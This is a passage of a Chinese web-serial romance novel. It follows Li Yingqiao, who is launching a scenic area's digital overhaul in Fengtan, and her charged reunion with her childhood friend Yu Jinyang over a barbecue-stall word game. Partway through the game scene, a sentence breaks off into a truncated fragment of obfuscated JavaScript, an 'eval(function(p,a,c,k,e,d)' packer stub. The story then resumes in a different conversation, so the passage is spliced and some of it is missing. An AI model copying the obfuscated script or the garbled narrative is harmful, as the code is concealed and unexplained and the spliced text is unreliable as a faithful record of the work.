李映桥比他更了解她自己的处境,她答应得相当爽快,还笑着替他关上那扇电动门,一扇电动门,硬生生被她拉动了,“啪”像一记耳光抽在他脸上,响亮地给他合上了,严丝合缝地将她的声音卡在门口:“我去,您慢走。” 张宗谐一直都记着那晚她的表情。彩虹羑里后来的爆火,成了现象级的文旅爆款。他想是她憋着一股气,她在那一待就一年多,没再回过北京,汇报也都是她的助理关思玉和他对接的。两人中途很少再有过单独的对话。 直到总部把她调回北京,彩虹羑里不再需要她亲自坐镇。当初她走得时候谁也没想到她能从y省凯旋,甚至直接破格升任品牌部vp*3,接替他从前的位置。她这场翻身仗打得相当漂亮。 他从管培生走到品牌部vp用了五年,而她只用了四年,甚至连convey创始人都在视频电话里和他频频提起李映桥这个名字,那会儿他就知道,她早晚有一天会在三十八楼和他吵架的。 只是没想到后来的事情会那么急转直下,彩虹羑里没多久就出事了,一夜之间convey也成了众矢之的,没等她爬到三十八楼,李映桥就彻底意识到自己和张宗谐在价值观上的分歧。 于是她提出离职,她对品牌的理念和企业的文化再次产生怀疑,那些所谓的g评分说法不过是障眼法,她早该知道,张宗谐哪怕真的想要调整三十八楼的女性高层比例,也只是从公司的市场价值和消费者信任度出发而已。 当初张宗谐手段雷霆,得罪不少人,也有不少人都记她头上了,这次他俩反目,说实话,行业内不少人都等着看她的笑话。李映桥自己倒是不着急,毕竟还有十多个月的时间,就算真输了,也没办法,她也不能回回都打翻身仗。 那年她和俞津杨去上大学,梁梅问过他俩三个问题——“人心里有什么”、“人对什么是无能为力的”以及“人靠什么活着”,她说如果你们想明白这三个问题,以后你们无论遇到什么事,都会坦然接受和面对的。 *** 小画城在吴娟的误打误撞下,迎来了第一波同城热搜,以及本地朋友圈的疯狂转发,不光报名当猿人的热线暴增,连丰潭周边的县城都开始有人自驾过来要和猿人互动,高典连自己的生意都不做了,一天天往景区跑得比潘晓亮这个上班的还勤快。 潘晓亮刚锁好他的共享单车,就看见高典已经全副武装穿着兽皮群从停车场过来,他忍不住谑说:“典哥啊。你要不来我们景区上班算了,反正最近人事也在招人,你会做ppt不?” “会啊。”高典下意识说。 潘晓亮一锤定音:“恭喜你,你被录取了,等会儿去人事报道吧。” 高典:“……我这就通过面试了?” 两人勾肩搭背地往办公室走,潘晓亮说:“对啊。需要很复杂吗?我们这破景区要啥啥没有,还要啥自行车呢,这不是小火了一把,正缺人手呢吗,你可是我们的猿人销冠呢。” 高典就这么被一瘸一拐地哄进了人事办公室,出来的时候已经给自己挂上一张手写的工牌,发现办公室除了潘晓亮空无一人:“吴娟呢?” 潘晓亮正在电脑前翻着上一期官微的评论说:“被吓得两天没出门了,李映桥放她假了,让她好好调理调理。” “娟妹是要调理调理,”高典在他旁边的工位上坐下,没开空调他觉得有些热,从桌上抽了本景区文创的本子扇了扇说,“她感觉是个挺容易害羞的女孩,闹出这事儿确实有点闹心。” 潘晓亮瞥他一眼:“你观察这么细?你对我们娟有想法啊?” 高典挠挠后脑勺说:“没啊,只是她每次多看几眼我们喵就脸红,这还不好猜啊。” 办公室门打开,李映桥看见高典也颇意外地挑了下眉:“潘晓亮真把你忽悠来上班了啊?” 高典咋舌,目不转睛地盯她看了好一会儿。因为李映桥今天穿得和平常太不一样了,她前段时间都是t恤牛仔裤,t恤还是那种胸口有卡通形象,和小时候没什么区别。 她今天穿得格外端庄,一身亮眼的鹅黄色真丝长裙,裙摆葳蕤如瀑地贴在脚踝处,踩着一双不知道几公分的细高跟,衬得脚踝线条恰到好处,连背后的晨光都给她镀上了一层柔光,好一朵郁金香,走起来更婉转动人。 高典倒是发自内心地欣赏风格迥异的李映桥,脱口而出:“你今天好漂亮啊!跟大明星一样。” 高典的夸奖直白也很单纯,没有任何让她不适的凝视。 李映桥也最大声地来回应他毫不吝啬地夸赞:“谢!谢!你!啊!没你的鼓励,我出门都走下水道。” 说完,把东西扔给潘晓亮:“景区导览的数字化地图还没给到我。” 语气平淡,判若两人。 潘晓亮:“……靠,李映桥,你就这么肤浅。” 李映桥:“……你学学人家怎么做销冠吧。” 这倒是,潘晓亮没有高典这么能纯粹,他对女性的欣赏都是藏着掖着,哪怕他今天也被李映桥惊艳了一下,他只会冷哼一声,又想引起老子注意。 李映桥有时候觉得他真的非常符合00后男性刻板标准的用户画像,也是那种平台算法里最好归类的男性用户画像。 梁梅问她人要靠什么活,她还没摸清,她只知道在算法时代里,人就至少得活得连算法都摸不透你才行。不然就会像潘晓亮一样轻而易举地被大数据像物品一样分门别类,大时代在物化人类,那人类当然也要做出反击。 所以李映桥是不介意什么都尝试一下,也从来不会在任何一个兴趣页面停留太久。 42 第四十一章(二更合一) 下午的会议进行得举步维艰。 t厂的人也频频看向李映桥,几度无语地想要开口说你觉得我们还有必要再继续谈下去吗?但李映桥腆着脸坚持。 数字化的革新对于一个景区来说是必须要走的一步,他们现在的当务之急就是要先把小程序上线,景区导览和门票预约这些最基本的数字化先落实,但沟通过程有些小麻烦。 高典作为临时加入,也没接触过网红经济,听得更是一头雾水。他也频频看向李映桥,企图从她的表情去判断对方说得到底什么鸟语。 但这位从小脾气不算太好的发小如今早已练就喜形不于色的本领,天塌下来她也是面不改色地挂着一张蒙娜丽莎的微笑世界名画脸坐在那,见他一脸茫然,还给了他一个稍安勿躁的安抚眼神,继续和人认真聊着。 高典悻悻收回视线。说实话,他们这些大厂的人就不爱说人话。 他们才适合在景区当猿人,叽里咕噜说什么呢。 潘晓亮也深有所感,迫于桥娜丽莎的淫威下,他也不好摆烂,只好在当初招募猿人拉的工作群里把听不懂的大厂黑话发在群里大胆询问。景区这半年人员流动稀稀拉拉,固定员工就他和吴娟两个人,连个群都拉不起来,还是猿人团队成立后才有了景区第一个群。 “现在文旅玩法无非也就是那几个,你们要是能说服你们当地文旅局长出来跳女团舞其实说不定也能收获一波流量。不过现在各个景区都在打造自己的核心ip,想要实现gmv闭环。”对方给出一些建议说。 潘晓亮若有所思地瞥了某位今天过分亮眼的美女一眼,默默在群里打字。 潘晓亮:「gmv闭环是什么?听不懂。」 李映桥看着群里弹出来的消息,拿起手机耐着性子给他回:「就是让你的钱进我的口袋,并且源源不断地心甘情愿进我的口袋。」 流量变现? 潘晓亮抬起头,又懂了,自信满满地看着t厂的人。 t厂的人冲他微微一笑,继续说:“koc矩阵也可以先做起来,下沉市场还是需要渗透的。有了核心ip,你们还得有自己的钩子产品,小程序可以做线上的文创商城,比如猿人的周边,这些我们后续可以再拉齐。” 潘晓亮低头:「koc是什么?我只知道kfc。钩子又是什么,不会是我想的那个吧,我可不卖钩子。」 高典发了个“那咱俩可说好了你不卖我也不卖”的表情包。 纯情屎壳郎蹦恰恰回复:「koc矩阵就是各大平台的素人账号,比如你大舅你二舅你的远房表舅都创建了社交软件账号从各个角度发布关于你的吃喝拉撒睡视频,钩子就是你的卖点。」 潘晓亮:「……靠。美女,你这也太那个了。」 高典跟着发了个下半身裹着浴巾“斯密吗喽”的表情包。 “对了,回头我们还是需要一个轻量级的赋能团队,提升信息沟通的roi,确保颗粒度能对齐。”对方最后拍板说。 潘晓亮又跟着原封不动把这句话发群里:「这又是啥。」 这次李映桥没回,正要把t厂的人送出会议室,对方回头看了她一眼,这才笑着说:“真不打算回convey了?我前阵在行业峰会上碰见张总了,他听说我要来丰潭见你,会议结束的时候特意把我叫住,让我转达,希望你先把他从黑名单里放出来。” t厂来的人是胡雯,很给面子了,李映桥也没想到胡雯会亲自来。彩虹羑里这个项目就是她团队做得数字化升级,变成后来那样大家都惋惜,连convey股价都受到震荡。 李映桥那时候叫天天不应叫地地不灵最后还求到她这边,但也已经是亡羊补牢。胡雯也没办法,她权限不够大,convey最后给出的应急预案只能先将损失降到最低,但却触到李映桥的底线,才会闹到她和张宗谐反目。 李映桥没说话,笑笑给她开路,领着身后一众胡雯的下属,给一路送到景区楼下,胡雯太了解她,于是给司机打电话后也敛了笑容,点了支烟边抽边等说: “你真不打算回北京?你要想好,就算对赌你真的赢了,这个行业你也很难再待下去了。而且,那场峰会上不少公司都在打听你离职之后的去向。显然大家都没觉得是你的问题,哪怕有些不好的声音也只是一时的,谁让你前两年风头太盛,为了张宗谐得罪那么多人。” “胡姐,我回来就做好最坏打算了,大不了身败名裂。”李映桥伸手在额头上挡了下直射的日光,笑了声,“在convey品牌部这么多年,我做事的底线一放再放,这次再退,我的老师们恐怕要后悔送我进名牌大学了。” 胡雯知道她在丰潭有个恩师叫梁梅,听说这几年一直在山区支教,李映桥对她的感情很复杂,每次提起这个人,她就好像做错事的小猫一样,一直低着头挠自己爪子。 胡雯问:“这次回来还没见过她?” “没呢。”李映桥遥遥望着不远处的山脊,风几乎要把她的声音吹散,“她在g省。” “还在支教?” “嗯。” 胡雯也不再说话,默默抽完烟,踩灭后:“行吧,本来这次来想见见你这位恩师的。既然这样,我先走了,希望来年冬天还能在北京见到你。上次你在我家喝剩的酒,我还给你留着。我老公说你喝醉一直喵喵地叫,我说他绝对做梦了,我们公关圈小坦克怎么会学猫叫。” 李映桥完全不记得:“……我真不记得,姐夫没受惊吧?” “没所谓,”胡雯见她一脸茫然,是真忘了,也笑了声,“他说你挺可爱的。” “姐,你说这话,我有点慌了,我可没对姐夫有什么想法。” 胡雯叹息一声,“joe,你不懂结了婚的女人,尤其是结了婚的女强人。” “啥?”她是真茫然,一脸求知若渴地眨着眼睛看她。 “就是对男人死心塌地的无助你懂吗?”胡雯瞥她一眼说,“当你事业蒸蒸日上,越爬越高,当你发现你可以面向更广阔天地,身边还有一堆年轻鲜活的肉/体围着你的时候。家里的黄脸公却一天比一天丑,对你也越来越死心塌地,你甚至都找不到任何理由可以出轨。” ……好新鲜的知识。李映桥咋舌之际,胡雯哈哈大笑着拍她肩上了车说:“走了,祝我好运。” 李映桥随即反应过来,笑着目送她离开。等她回到办公室,才看到潘晓亮后面发的信息,不过底下已经有人回复了。 321:「意思就是“大家拉个群”。」 高典发了个“respect”的吗喽经典表情包。 潘晓亮没回。吴娟反倒回了,问大家是不是在开会? 李映桥让潘晓亮进办公室,把下午的资料扔给他,“胡姐回头会拉个群,这个项目她们会跟进,如果听不懂她们说话,你自己百度去,别发群里,也别装傻充愣地什么都不回。不管是胡姐还是俞津杨,人家都没工夫和义务教你这些。说声谢谢不会?” 潘晓亮“啧”了声。 李映桥挑眉:“啧什么?” 潘晓亮认命,官大一级压死人,“知道了。” 潘晓亮从办公室出来后,满心忿懑地心道,这个郁金香绝对暗恋他,就为这事儿还特意把他叫进办公室。这么想着反倒还真有些心猿意马起来,于是他掏出手机在群里艾特了321:哦,谢谢。[呲牙] 321也没再回,他刚要拿手机,被郑妙嘉一句不耐烦地别动,给硬生生钉在那。 郑妙嘉仍旧是一身亚麻长裙,脑门上架着副gm墨镜,她懒懒地支楞着下巴,数位板搁在膝头,娴熟地刷刷几笔勾勒出俞津杨的轮廓线,她时不时抬头扫他几眼,又漫不经心地低下头去,说: “喵啊,我跟你说,从小到大,你这张脸就没输过。小时候还没那么夸张,但现在这么看是真帅,关键以前怎么没发现你长得这么有攻击性呢?难怪桥桥以前老揍你,她眼光还是比较超前的,果然画成漫画的视觉冲击力特别强。” 俞津杨脖子酸胀,趁她没注意,忍不住偷偷仰头活动了一下脖颈。那天高典刷到郑妙嘉的某书账号给他看,画得全是令人血脉贲张的腹肌裸男,评论区全在一溜的嘶哈嘶哈。 郑妙嘉提出要给小画城做漫画ip的时候,他和高典下意识地对视一眼,几乎异口同声说不行。结果郑妙嘉一看他俩态度如此强硬,直接眼眶就红了。 高典完全傻眼,郑妙嘉从小看着文静,她和李映桥一个外冷内热,一个外热内冷,但这俩女的都很少在他俩面前暴露出脆弱的一面,更别说哭了。 高典当时捅捅俞津杨的胳膊,俞津杨哪有办法,打电话给李映桥,结果那边直接挂断,只给他回了条人机信息:「在开会,晚点给你回。」 然后就再也没回他。俞津杨也只能软下态度来,跟郑妙嘉约法三章:不可以画腹肌,不可以画裸体,不可以画任何有性暗示的画面。 下一秒,郑妙嘉从包里翻出眼药水往眼睛里滴了两滴,心满意足地应下来。 画到一半,俞津杨在郑妙嘉的要求下,又换了个姿势,要求露出他流畅硬朗的下颚线,既然不让画腹肌,只能着重他的面部特写。 刚转过身,他问道:“李映桥最近在忙什么。” “可忙了。帮小画城组建数字化团队平台,那个潘晓亮啥也不懂。桥桥还要盯猿人的后期。而且,这几天每天晚上她都有饭局,喝酒都喝吐了,好不容易拿下一条旅行社的线。今晚不知道有没有局,我反正和她约了等会儿要画人物图。” “你怎么知道这么清楚?她每天都跟你汇报行程?”俞津杨忍不住问。 郑妙嘉瞥他一眼:“是啊,桥桥超粘人的,你不知道吧,我俩经常通宵打电话呢。” 俞津杨倒是不觉得小姐妹之间打通宵电话有什么奇怪的,也没追问,只淡淡看着郑妙嘉问了句:“那她有跟你说,她这次为什么突然回来吗?” 郑妙嘉却突然抬头直视他:“你想问什么?” 俞津杨微微撇开头,郑妙嘉又是疾言厉色地大喝一声:“别动!画丑了别说我没提醒你”。 他只能被迫转回脑袋直视着她,郑妙嘉又指挥他,“抬下巴。对,这样光影刚好,靠喵,这个角度你帅毙了。好了,你继续说。” 他叹口气:“算了。你还没画完?” 郑妙嘉这会儿又架着墨镜,从缝隙里看他说:“你有事?” “要和钟肃去看个场地。” “什么场地?你俩要不是去看结婚场地,今天你还是别走了。” “……郑妙嘉你脑子里都什么啊。”俞津杨靠在椅子上,仰着头无奈笑了声,“甜筒的游乐园,马上施工队要进场,我们过去确认几个设计图的细节。” 游乐园不大,都是些基础设施,钟肃给甜筒设计了一个超级大、超级梦幻的旋转木马,不过甜筒还没过目。俞津杨打算先过去勘下场地,再回去和甜筒商量。 郑妙嘉加快笔速,“啊?那你不早说,我还约了桥桥等会儿过来画图呢。” 俞津杨突然不笑了:“过哪儿来?” “这儿啊。”郑妙嘉理所当然说,“你的工作室啊,本来我说去景区找她的嘛,桥桥说回来这么久还没来过你的工作室,她说顺便过来参观一下。” 工作室空间不算大,俞津杨平时在这待的时间不算长,空间利用很充分,成品展示区是一些他自己设计的木玩小摆件,有各种奇形怪状的玩意儿,飞机、船、魔方、还有很多教育玩具。比如一整套的木制厨房用具,或者一整套的工程器械用具,甚至还有一整面墙型号齐全的枪械木制玩具。 有些是他自己后来设计做的,大部分都是从小到大他自己收藏的,这里还只是一小部分有纪念意义的,其余全在小画城那套房子里的二楼堆着埋灰。俞人杰以前生意最红火的时候,只有他想不出的,没有他做不出的,市面上任何木玩,他都会想尽办法给俞津杨搜罗过来,不管他喜不喜欢,就连一些品类特殊的芭比娃娃摞起来也有他当时整个人那么高。 李映桥一进门,也被陈列柜上琳琅满目的木玩制品给吸引住了,尤其枪械那面墙上,她驻足好久,她知道俞津杨家里不少这些物件,但没想到这么多,论败家还得是四一哥,她拎了把手枪不知道什么型号,顶俞津杨脑门上说:“喵,看不出来你攻击性这么强?” 俞津杨靠在桌旁,视线倒是没在她身上停留,很快就撇开了,伸手去把她旁边散落的木作刀具一一收起来,放进他的工具包里,金属相碰发出细碎的声响之间,他低头看她,眼神却没落到实处,“今天这么正式?” “还好吧,”李映桥低头浮皮潦草地惮了眼自己的裙子,礼尚往来地夸回去,事实上,她都没注意他穿得白的黑的,“你今天也很帅啊。对了,等妙嘉画完,我请你吃个饭呗。” 他就知道,她向来无事不登三宝殿,回来这么久没见她主动提过要来他的工作室参观参观。他略有些不满地靠在桌沿上,把手上的工具刀用羊皮小扎一一卷好,然后随手扔一旁发出闷响,他自己没察觉他用了多大力气,随即笑了声,一个很认命但服务性很强的笑容:“有事找我?” 李映桥露出一个比他更认命的笑容,服务性更强,殷勤张扬又谄媚,“我可以这么讲,今天你就是要生吞一头牛,我立马去屠宰场给你牵来。” 俞津杨更怕了,“你到底要干嘛。前两天打你电话挂掉就不回,现在好意思讲?” 李映桥这会儿才想起来,猛一拍脑袋,拿手上的木制枪口毫不犹豫地对准自己的太阳穴:“真忘了,你给我打电话那会儿我在开会呢,晚上又应酬文旅局的人去了,我真该死。” 俞津杨用手指把她的枪头从太阳穴上挪开,“等会儿下楼说吧,饭就不用了,我还得回去陪甜筒。” 等李映桥准备出去找郑妙嘉画图,人已经消失了,手机上横躺着一条微信:“我今天累死了,不画了。我和钟肃喝酒去了。” 李映桥束手无策地回头看了眼俞津杨,后者早有预料似的,把东西收好笑着去关门:“行了,走吧,丰潭江边开了一家排挡,我请。” “不,必须我请。我是真有事求你帮忙。” 俞津杨去摁电梯,低头看她郑重说:“李映桥,要跟我这么见外吗?” 她坚持:“我负荆请罪。” 俞津杨手揣进兜里,目光盯着电梯间不断攀升的楼层数字,故意说:“哪门子荆啊?滑雪场那门还是不回电话这门?” “你又来,能不能不提这事儿了,翻不了篇了还?”她说。 “好好好,谁再提谁是小狗。”他笑着举手投降道。 片刻静默,空荡荡的走廊陷入一片几乎凝滞的阒寂无声。 直到电梯门在他俩面前打开,又徐徐关上,还是有人不甘心地问了句: “李映桥,你那时候是喜欢我对吗?” 43.第四十二章 丰潭江边开的一家烟熏火燎的烧烤摊,这个点还人满为患。江边沿岸支了几个铁皮烤炉,老板打着赤膊上阵忙活,将各色肉类串串,在油汪汪的烧烤架上躺成排排,烤得嗤嗤响又混合着食客大快朵颐的嘶嘶抽气声,好不快活,只是等的人更心焦。 李映桥倒是不饿,两人并肩在江岸边走了会儿。夜晚凉风习习,她一边走,一边专注地踢自己的裙摆,露出一小截细白的小腿肚,踢掉又遮住,循环往复,她还挺自得其乐。 俞津杨见怪不怪,她从小就这样,别人不跟她玩,她就自己跟自己玩。自己一个人玩得也津津有味,有时候他还挺好奇她在玩什么,怎么就能那么心无旁骛。 结果观察好几次,发现她也就像现在这样,踢踢裙摆,踢掉鞋掉,一甩一甩。他也知道,一般这种时候,她都在想要怎么忽悠别人。 俞津杨不走了,靠在江岸边的栏杆上等她自己走回来。 果然她也很快停下脚步,回头瞥他一眼,笑着走回来,手肘搁上他旁边的栏杆,这才叹一口气娓娓道来:“俞津杨,我有时候觉得你是真笨啊,我以为我那时候挺明显的。” 他倒也不意外她此刻的坦白,只剩无奈,目光从不远处的霓虹收回来,落在她头顶上:“真没看出来。那个时候你对卢应川都比对我明显一点。” 李映桥莫名其妙:“谁?” “六班学委?忘了。”俞津杨收回视线说,“就有一年文艺汇演在台上弹《蓝色多瑙河》给你乐得扁桃体都发炎的那个。” 李映桥更莫名其妙,“谁乐了啊?” “你啊,”俞津杨倒也没别的意思,悠悠看她一眼说:“还掐我大腿。” “那你怎么不往别处想想,我可能是趁机想揩你油呢?” 俞津杨无语地笑了声,转过身,索性两手肘都搭在拉杆上,语气平淡:“这就没必要了,我又没说什么,但你也别赖账。” 李映桥也跟着转过身去,但她笔直站着:“你是真傻还是假傻啊?是方玥啦。玥玥那时候差点早恋来着,卢应川是个渣男,本来玥玥船票都买好了,就等着登船呢。结果发现你猜怎么着——” 她讲话还是一贯喜欢卖关子。俞津杨微微愣住,确实没想到是方玥,毕竟方玥看着比她还像金刚女战士,怎么可能会跟人早恋,不过想也能猜到卢应川的路子,但还是弓着背不自觉把耳朵凑过去笑说:“怎么着?不会满员了吧,方玥买了张站票啊。” “对滴,她跳船了。” 俞津杨回想起当年学校的一些事和卢应川后来的反常,这事儿估计远不止她轻描淡写讲得这些,他沉声问:“你耍他了?” “……咦!有位子了。”李映桥置若罔闻地拉着他朝着烧烤摊走过去,“走啦,等会儿再聊。” 两人一落座。桌上的餐盘还没来得及收,铁钎子上还插着几块吃剩的烤馒头片。李映桥用两根手指捻着捡起来扔进一旁垃圾桶里,抽了张纸巾擦手就这么把此行的目的給说出来了:“喵,你帮我给猿人团队编个女团舞呗。” “……这就是你今天找我的原因?” “对滴。”她笑笑。 “滴你个头。”他冷眼。 “怎么这样。” “你怎么这样。” “我哪样了啊。” 俞津杨没再接茬,扫完码把手机扔给她,“点菜吧,等会儿玩个游戏,赢了,我答应你。” 李映桥接过手机,快速点完单,迫不及待地睁着一双好奇地看着他问:“来吧,什么游戏。” 俞津杨坐在椅子上没动,等服务员把前面客人留下的满桌狼藉收拾干净,他低声说了谢谢,才抬头看她说:“你用斐波那契数列和我打个招呼,我们接下去每句话都用这个数列规律来回复对方,但就在13个字以内循环。怎么样?三秒内反应不上来就输。” “三秒是吧?好。”李映桥好胜心就跟隔壁刚煨出来的炭火似的,一下被点燃,“1,1,2,3,5,8,13,这个顺序以内是吧?” 俞津杨微微点头,眼神不动声色地慢慢挪开。 李映桥:“喵。” 俞津杨:“嗯。” 她一副势在必得的表情:“你帅。” 他呛了声,很快坦然地看着她:“……谢谢了。” 李映桥一看他也这么想赢,什么女团舞不女团舞的全抛诸脑后,真来劲了,她下猛料挑衅道:“……手感也不错。” 果然,某人肉眼可见地又不好意思了,手上开始莫名其妙地忙碌起来,又是拆筷子,又是倒水的。 李映桥得逞的笑容开始在脸上蔓延开,开始倒计时:“3、2——” 俞津杨:“你这次为什么回来?” 李映桥忽然卡住,没成想他会问这个,一时没接上话。这次他反客为主,难得露出放松而闲散的姿态靠在身后的椅背上,眼睛却直直地盯着她,慢悠悠开始倒计时:“3、2——” 李映桥立马反应过来,匆忙掰着手指头边说边数:“我说了你又不信你人口普查……”大概是发现少了个字,又大声补了个语气词“啊”。 俞津杨笑了声,见她这么顾头不顾腚地甩出一句话,他老僧入定般,淡淡地说:“勉强算你过,第二轮,从我开始?” 炭火烤着丰潭的夜晚,炉子把整个夜晚烤得嗤嗤作响。摊子上的人却出奇地安静,各自盘踞着一隅,低低交谈着,说着彼此有屏障的话,然后付之一笑,管对方是不是牛皮吹上天,吹破了就当给这紧绷绷的日子松松弦,反正糗得又不是自己,就算真糗到自己了,那又如何,谁又能香喷喷地死去? 烧烤摊更远的角落里,当郑妙嘉把墨镜一摘,看着对面喝得快断片的钟肃,忍不住蹦了句脏话出来:“不是吧,钟肃,啤酒你能喝醉?那你还跟我吹什么牛呢,我服了。喂,你住哪,要不要叫人过来抬你。” 钟肃醉醺醺地把脑袋埋在桌上,突然对着郑妙嘉嘘了声,舌头跟共享单车上扫来的一样,恨不得一泻千里,一小时骑出二十里地,快得根本听不清他说什么,郑妙嘉只听见最后一句:“……你不要叫,很丢脸。” 说完就栽倒在桌上。 郑妙嘉不屑地拿眼神瞥他,瞥着瞥着……这男人睫毛还挺长的,肤色也挺白的,看得她莫名有点燥,她双手合十默念道:兔子不吃窝边草,兔子不吃窝边草…… 郑妙嘉正准备掏出手机打电话,钟肃一把摁住她的手,扣在桌板上,脑袋还埋在桌子里,低哼一声道:“郑妙嘉,咱俩的赌还没完,我说过……只要我能竖着走回酒店,就算我赢。你答应我的,要比俞津杨画得帅。等我缓一会儿,我马上就好,只要我竖着走回去……竖着……就行。” 郑妙嘉低头看着他扣着自己的手,又看看他的脸,仿佛有一把温吞的火,烧进她的喉咙里,她心头微微一热:“钟肃,你酒店房号几。” 钟肃“噌”一下把脑袋拔起来:“说到这个房号,你说巧不巧。我都怀疑俞津杨是不是故意的,房号居然是我前女友的生日。” 郑妙嘉顿时兴致全无,付了款让高典找了三轮车过来运人,想了想又折回来把账单拍他脑门上:“拜。” 烧烤摊的另一边,像一锅焖煮的高汤,憋不住的气泡咕嘟咕嘟接二连三地往外冒。俩都玩上头了,热火朝天地玩到第四轮,局面胶着。无论李映桥问什么,俞津杨都能游刃有余地打着太极把问题抛回来,李映桥玩到后面不耐烦了,“你是不是有备而来?我感觉你所有的句子工整得好像提前想过。” “认输吗?”他问。 “我不。” “那继续。”俞津杨一抬下巴,面无表情地提醒她别借机拖延时间。 李映桥蹙眉,以前没觉得这个俞津杨侵略感这么强啊。她乜着眼细细地从头到脚打量他,果然三岁看长,七岁看老。七岁的俞津杨她是记得的,是一拳头能把他打哭的,不知道俞津杨三岁什么样,三岁那时候他还在海南,她隐约记得以前唐湘阿姨说过俞津杨小时候很不好对付。 她阴恻恻一笑说:“那这轮你先来。” 俞津杨倒是坦然一笑,“你要这么怕的话,咱们换个游戏也可以。” “以退为进是吧?”她才不上当,“不换,就玩这个,你来吧。” “真没有。”他无奈,“那我开始了,第一句:哼。” “哈。” “哼哼。”他笑着又哼。 “哈哈哈。”她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“所以我问的是现在。”他申辩。 “你是不是没谈过女朋友?” “这有什么关系?你扯哪去。” “好,”她看着他,正色道:“所以呢,你还喜欢我?是这次我回来之后,还是这些年都一直,如果是一直,你中途还谈了女朋友那你不觉得很矛盾吗?如果是这次回来之后,你旧情复燃是不是太快了点?” 俞津杨真被她气笑了:“我没谈过,行了吧。满意了吗?” 她一时无话。 其实他没别的意思,他只是想确定,如果她不喜欢了,那么她介不介意他可能还喜欢她。如果她介意,他会减少和她不必要的见面。 因为李映桥以前高中的时候和他讲过,她是没办法和喜欢她的男生当朋友的,那时候在上生物课,老师正好讲到男女性的生殖器构造区别,后排不少男生开始兴风作浪地起哄,生物老师把书一丢,说了一个故事。俞津杨至今仍记得那段话。 “我说一个我的亲身经历,你们别看我个子高,但胆子也不算大。以前被人喜欢和追求的时候,我特别怕,尤其对方还是个健身教练,我时常陷入惶恐之中,你们知道为什么吗?虽然这样的比喻很不恰当,但我还是要讲,因为我相信班里有不少女生和我有一样的感受。” “尽管巾帼不让须眉,但从普遍情况上看,男性和女性生理力量的天平从来都是不对等的,从原始结构上看,女性力量上的弱势我们从小就被迫教育各种生存的常识,男性的示好和追求都会成为她们的生存压力,因为你们的体格优势可以堵住她们任何想去的路。” “我被人追求的时候,就感觉自己好像被锁定的猎物,只要他们愿意,随时能吃掉我。刚刚有些男生的表现,让我更加确定印证了自己内心的想法,罗原,你是没看见那个女生都快哭了吗?她不是害羞,她是恐惧,对你的恐惧。” “我敬告各位一句:即使你什么都不做,安安静静地在她旁边待着,只要你喜欢她,她不喜欢你,她一定会害怕。” 俞津杨那天回去还问了唐湘,唐湘说得更详细些,确实会害怕的,所以第一次出去约会都特别紧张,哪怕是和喜欢的人。唐湘还说,女孩子在这个世界上有很多很多在你看来可能很简单的第一次,其实都非常需要勇气。 他一直就觉得自己够克制了,但直到她刚刚进工作室的门,突然意识到,这段时间他始终还在用小时候的相处模式,而李映桥早已进入成人模式,成人间的交锋就变得晦涩辛辣,男性的力量优势被放大。 他怕她觉得害怕和不适,所以他非常需要确定她介不介意。 44.第四十三章 江岸的灯火渐次亮起,衬得江面浮光掠金,油亮亮地托着天上的月亮。烧烤摊的人烟渐熄,最后只剩他们这一桌。 打着赤膊忙活一晚上的老板都忍不住偷瞟他们好几眼——只见那俩人一动不动地对峙着,一个靠在椅子里,一个身板从始至终都绷得笔直,胶柱鼓瑟地对抗着,像是在谈判什么难啃的国际条约,冷得老板不自觉地开始找衣服穿。 李映桥觉得很扯,在他说完我没谈过这句之后,她这个公关人的条件反射,男人惯来博异性好感的方式之一就是打造深情人设。而且十年没谈过女友,证明这个人对一段感情的处理方式相当偏执。如果对面坐的人不是俞津杨,她早就站起来跑了。因为和这种人谈恋爱不步入婚姻的殿堂,就得横尸公堂。 这在李映桥这里是扣大分的行为。可他是俞津杨,她对他会很宽容很多。倒不单是因为儿时那点情分,其实是那磕磕绊绊的十年光景,他们的思想和习惯都在互相影响着,才铸就他们现在的三观和人格。 其实从俞人杰和李武声的关系里多少能瞧见一丝端倪。他们天性基因相悖,一个温润和平,一个争强好胜,俞津杨从小看不惯她的刁钻好胜,玩游戏都不愿意和她分到一组。她也嫌他太冷静,过分的正人君子,分到一组总拖她后腿。 他身上固然有她讨厌的部分,可也有她羡慕的部分,只是两个人年复一年地跑着、跳着。长着,长着,彼此身上也都沾了对方的脾性,像两棵栽在附近的树,枝桠怎么可能不缠绕在一起。 只是十年相伴,十年离散。成长部分是他们共同的底色,十年分离的光景里,他们这两棵树都长出了新的枝桠,一些不那么适配、或者会戳到对方肺管子的枝桠。 但十年的底色不至于让彼此太背道而驰,这也是李映桥现在还没走的原因,不过她也确实憋着一堆难听话,最后看着对面那张实在过分赏心悦目的脸,叹了口气说: “你一直问我为什么回来,回来还走不走,我可以明确告诉你,我还会走。不一定是北京,也可能去广东,或者上海,总之我不会留在这。但我知道你应该不会再离开这里了,我也知道俞叔叔的事儿。抱歉,我其实一直找不到理由去看他,也怕他看见我想起舅舅,怕他看见我更难受。我明天给你拿个文件,本来这个东西早就想给你了,但是一直没找到机会。” “既然你要挑明,那我也和你明讲。这十年,我没绑你手脚,也没捆着你,你谈不谈恋爱是你的自由和选择。不是你的付出多,我就应该为你的付出买单,这也不是我们能去绑架对方的理由和借口,我会有压力。你认可吗?” “当然,”他忽地无奈笑了声,也点破了,“我没想跟你说,刚才不是你故意套我话吗?我甚至都猜到你会怎么怼我了。你甚至都没听我说完,我大学不谈是想着怎么让四一哥接受你,也不确定你到底对我是什么想法。但后来我出国,确实连生存都快成了问题,没想过谈恋爱的事情。” “如果我告诉你,我不介意,那你又准备做什么?”她问。 他倒是没再吭声。 她笑了声,索性直截了当地开口说:“你什么都不会做,俞津杨,我太了解你了。丰潭山那次接吻后,我被你爸气得把你拉黑,但你就真的找不到我吗?只是你想不想的问题,一个吻如果说明不了我当时喜欢你的话,我不知道作为女孩子的我还要怎么主动。你无非就是冷静下来想了想,李映桥这个人变数太大,消失了也好。” “因为你这个人太冷静克制,是绝对不会允许任何人或者事,让自己的人生失控。我也不是没有等过你,大学每年寒暑假我都回丰潭。只是十八岁的事,在我这里早就翻篇了,我们现在当朋友更合适。” 他整个人陷在椅子里,半天没声音。李映桥以为他这是默许这段关系的意思,正当她拿起包准备走人时,忽而听他有些自嘲地开口闷声问她:“李映桥,你这样的朋友很多是吗?” 李映桥又放下包,疑惑地看着他:“什么?” 